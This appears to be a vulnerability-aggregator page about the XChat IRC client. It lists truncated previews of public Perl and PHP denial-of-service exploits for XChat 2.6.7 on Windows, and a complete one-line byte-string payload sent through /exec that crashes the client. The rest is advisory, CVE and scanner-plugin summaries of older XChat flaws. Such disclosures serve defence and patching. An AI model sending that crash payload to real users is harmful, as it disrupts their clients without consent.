XChat 2.6.7 (Windows) - Remote Denial of Service (Perl)

XChat 2.6.7 Windows - Remote Denial of Service Perl !/usr/bin/perl rewritten because perl is more elegant than php payload taken from original that ratboy submitted use strict; use Net::IRC; my $nick, $server, $port, $channel, $victim = @ARGV; my $irc = new Net::IRC; my $connect = $irc - newconn...

XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (perl)

No description provided by source. !/usr/bin/perl rewritten because perl is more elegant than php payload taken from original that ratboy submitted use strict; use Net::IRC; my $nick, $server, $port, $channel, $victim = @ARGV; my $irc = new Net::IRC; my $connect = $irc - newconn Nick = "$nick",...

XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (php)

No description provided by source. ? another way to test this with irssi/bitchx below /str0ke /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"' ? ?php // XChat = 2.6.7 Windows Remote Crash DoS by...

XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (php)

Exploit for unknown platform in category dos / poc =================================================================== XChat /str0ke /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"' ? ?php // XChat ...

XChat 2.6.7 (Windows) - Remote Denial of Service (PHP)

XChat 2.6.7 Windows - Remote Denial of Service PHP /str0ke /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"' ? ?php // XChat = 2.6.7 Windows Remote Crash DoS by ratboy // Tested on Windows SP1/SP2 //...

XChat 2.6.7 (Windows) - Remote Denial of Service

/str0ke /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"' ? ?php // XChat = 2.6.7 Windows Remote Crash DoS by ratboy // Tested on Windows SP1/SP2 // The following bug was tested on the XChat = 2.6.7 ...

RHEL 2.1 / 3 : xchat (RHSA-2004:585)

An updated xchat package that fixes a stack-based buffer overflow in the SOCKSv5 proxy code. X-Chat is a graphical IRC chat client for the X Window System. A stack-based buffer overflow has been fixed in the SOCKSv5 proxy code. An attacker could create a malicious SOCKSv5 proxy server in such a w...

security flaw

Stack-based buffer overflow in the Socks-5 proxy code for XChat 1.8.0 to 2.0.8, with socks5 traversal enabled, allows remote attackers to execute arbitrary code...

Debian DSA-099-1 : xchat - IRC session hijacking

zen-parse found a vulnerability in the XChat IRC client that allows an attacker to take over the users IRC session. It is possible to trick XChat IRC clients into sending arbitrary commands to the IRC server they are on, potentially allowing social engineering attacks, channel takeovers, and deni...

Debian DSA-493-1 : xchat - buffer overflow

A buffer overflow has been discovered in the Socks-5 proxy code of XChat, an IRC client for X similar to AmIRC. This allows an attacker to execute arbitrary code on the users' machine. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were...

CVE-2001-0792

CVE-2001-0792 describes a format-string vulnerability in XChat 1.2.x that lets remote attackers execute arbitrary code via a malformed nickname. The provided documents identify the affected product as XChat 1.2.x and classify the issue as a remote, unauthenticated vector with potential for arbitr...

CVE-2001-0792

Format string vulnerability in XChat 1.2.x allows remote attackers to execute arbitrary code via a malformed nickname...

CVE-2001-0792: Undefined Security Weakness

Format string vulnerability in XChat 1.2.x allows remote attackers to execute arbitrary code via a malformed nickname...

GLSA-200404-15 : XChat 2.0.x SOCKS5 Vulnerability

The remote host is affected by the vulnerability described in GLSA-200404-15 XChat 2.0.x SOCKS5 Vulnerability The SOCKS 5 proxy code in XChat is vulnerable to a remote exploit. Users would have to be using XChat through a SOCKS 5 server, enable SOCKS 5 traversal which is disabled by default and...

XChat Client URL Metacharacter Command Execution

Binary data 1876.prm...

XChat Malformed Nickname Remote Format String

Binary data 1873.prm...

XChat CTCP Ping Arbitrary Remote IRC Command Execution

Binary data 1875.prm...

XChat /dns Reverse Lookup Response Arbitrary Command Execution

Binary data 1874.prm...

Mandrake Linux Security Advisory : xchat (MDKSA-2004:036)

A remotely exploitable vulnerability was discovered in the Socks-5 proxy code in XChat. By default, socks5 traversal is disabled, and one would also need to connect to an attacker's own custom proxy server in order for this to be exploited. Successful exploitation could lead to arbitrary code...

Mandrake Linux Security Advisory : xchat (MDKSA-2002:006)

zen-parse discovered a problem in versions 1.4.2 and 1.4.3 of xchat that could allow a malicious user to send commands to the IRC server they are on which would take advantage of the CTCP PING reply handler in xchat. This could be used for denial of service, channel takeovers, and other similar...